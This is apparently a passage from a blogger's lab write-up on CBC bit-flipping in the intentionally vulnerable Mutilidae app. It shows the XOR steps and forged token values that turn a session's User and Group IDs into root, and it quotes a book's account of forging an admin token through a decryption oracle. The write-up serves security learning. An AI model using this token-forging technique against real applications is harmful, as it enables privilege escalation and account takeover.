So we have found the bits we need to alter to change the correct parts of the User and Group ID. The next step is to alter them in a way that returns them as a zero. We see that the User ID we sent FF and it returned 'e'.The FF we sent was a hex value and it the 'e' is a literal so the 'e' needs to be converted to HEX. Use the burp decoder to decode 'e' into HEX(even though its hinted right next it :P) 'e' decodes to HEX value 65. Now we simply reverse to XOR by XORing FF with 65. Im using an online calculator to do this:
The XORed value returns HEX value 9a.

This gives us our cipher used. To get the literal value 0 needed in the User ID we get the HEX value of zero which is 30 and XOR it with 9a. The return HEX value is aa. Replace the original token with aa. it now looks like this:
6bc24fc1aa650bFFb4114e93a98f1eba
When sending this to the server we get:

To get the Group ID to zero we apply the same technique. Because FF is returning the weird '?' symbol I altered it until I had something better to work with. In this case I swapped FF with 22 so the group ID returned 6. Convert 6 to HEX(36) and XOR it with 22. This gives us HEX value 14. Now XOR the HEX value of 0(30) with 14. This gives us the final value of 24 Our final result looks like:
6bc24fc1aa650b24b4114e93a98f1eba. Sending this to the server we receive our desired User and Group ID. I believe this is where Mutilidae should inform us we are logged in as root. 
This technique requires a bit(see what i did there ;) ) to get used to. Essentially we are working backward and decrypting the cipher. When we have decrypted the cipher we can work forward to produce the desired outcome. We are NOT decrypting the actual encryption. We are only modifying the cipher so it is decrypted to the values we want. Its a case of XORing backwards then XORing forward.
When I first learnt this, I struggled to understand how we can use this is the real world. The book I am currently reading gave me a perfect example of when this may come in handy. Excerpt:

One application observed by the authors contained a file upload/download
function. Having uploaded a file, users were given a download link containing
a filename parameter. To prevent various attacks that manipulate file paths, the
application encrypted the filename within this parameter. However, if a user
requested a file that had been deleted, the application displayed an error mes-
sage showing the decrypted name of the requested file. This behavior could be
leveraged to find the plaintext value of any encrypted string used within the
application, including the values of session tokens. The session tokens were
found to contain various meaningful values in a structured format that was
vulnerable to the type of attack described in this section. Because these values
included textual usernames and application roles, rather than numeric identi-
fiers, it would have been extremely difficult to perform a successful exploit using
only blind bit flipping. However, using the filename decryptor function, it was
possible to systematically manipulate bits of a token while viewing the results.
This allowed the construction of a token that, when decrypted, specified a valid
user and administrative role, enabling full control of the application.

In this example the author found a section of a website that decrypted its encryption. This allowed them to decrypt their token. It might have looked something like this:
john:342_normal_user.
Using the bug in the webpage they would have altered it using the bit flipping technique so that to looked like:
admin:000_super_user